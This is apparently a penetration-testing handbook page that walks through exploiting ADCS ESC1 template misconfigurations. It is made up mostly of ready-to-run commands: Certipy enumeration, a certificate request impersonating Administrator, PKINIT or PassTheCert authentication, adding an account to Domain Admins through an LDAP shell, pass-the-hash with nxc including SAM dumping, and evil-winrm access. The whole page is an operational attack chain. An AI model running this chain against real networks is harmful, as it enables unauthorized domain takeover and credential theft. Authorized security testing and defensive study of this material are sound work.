Handbook

ADCS (ESC1)

Updated 29 Sept 2026Services✎ Suggest a change
On this page

ESC Reference

ESCMisconfigurationImpact
ESC1Template allows requestor to specify SANRequest cert as any user including DA
ESC2No/any EKU restrictionAbuse for authentication
ESC3Enrollment agent templateImpersonate any user
ESC4Weak template ACLsModify template to create ESC1
ESC6CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flagRequest cert as any user, any template
ESC8CA web enrollment accepts NTLMRelay NTLM to CA for cert as victim

Tool: Certipy

bash
source certipy-venv/bin/activate
deactivate

Step 0 - Check if ADCS is Running

bash
nxc smb 10.x.x.0/24 -M enum_ca

# Browse to confirm web enrollment
# http://<ca-ip>/certsrv/
# https://<ca-ip>/certsrv/

nmap -p 80,443,8080 -sV <ca-ip>

Step 1 - Enumerate Templates

bash
certipy find \
    -u '<username>@<domain.local>' \
    -p '<password>' \
    -dc-ip <dc-ip> \
    -text \
    -enabled \
    -hide-admins

Check per template: Enrollment Rights, mspki-certificate-name-flag (ENROLLEE_SUPPLIES_SUBJECT = ESC1), Extended Key Usage (Any Purpose/empty = ESC2).

ESC1 - Request Certificate as Domain Admin

Requirements: ENROLLEE_SUPPLIES_SUBJECT flag set, enroll rights on template, -upn targeting a DA sAMAccountName.

bash
certipy req \
    -u '<attacker>@<domain.local>' \
    -p '<password>' \
    -dc-ip <dc-ip> \
    -target '<ca-hostname>.<domain.local>' \
    -ca '<CA-name>' \
    -template '<vulnerable-template>' \
    -upn 'Administrator@<domain.local>' \
    -sid '<target-sid>'

Produces administrator.pfx.

Step 2 - Authenticate with Certificate

Option A — PKINIT (DC supports it):

bash
certipy auth \
    -pfx administrator.pfx \
    -dc-ip <dc-ip>

Returns TGT (ccache) and NTLM hash.

Option B - PassTheCert (no PKINIT):

bash
certipy cert -pfx administrator.pfx -nokey -out admin.crt
certipy cert -pfx administrator.pfx -nocert -out admin.key

cd /opt/PassTheHash/Python

python3 passthecert.py \
    -action ldap-shell \
    -crt admin.crt \
    -key admin.key \
    -domain <domain.local> \
    -dc-ip <dc-ip>

Inside the shell:

bash
add_user <username>
add_user_to_group <username> "Domain Admins"
set_password <username> <newpassword>
exit

Option C - Pass the hash after cert auth:

bash
nxc smb <subnet>/24 -u Administrator -H <ntlm-hash> --local-auth

nxc smb <subnet>/24 -u Administrator -H <ntlm-hash> --local-auth --sam

evil-winrm -i <target-ip> -u Administrator -H <ntlm-hash>

Full Attack Chain

plain text
certipy find → identify ESC1 template
→ certipy req → cert as Administrator
→ administrator.pfx produced
→ PKINIT supported?
   ├── Yes → certipy auth → NTLM hash → pass the hash
   └── No  → extract crt/key → passthecert ldap-shell → add to Domain Admins
→ Domain Admin access achieved

Certipy Flag Reference

FlagMeaning
findEnumerate templates, identify ESC vulns
reqRequest a certificate
authAuthenticate with PFX — returns TGT + NTLM hash
certExtract cert/key from PFX
-u / -pCredentials (account$@domain for machine accounts)
-dc-ipDC IP
-targetCA hostname
-caCA name
-templateVulnerable template name
-upnTarget UPN to impersonate
-sidTarget SID
-pfxPFX file to auth with
-text / -enabled / -hide-adminsOutput/filter options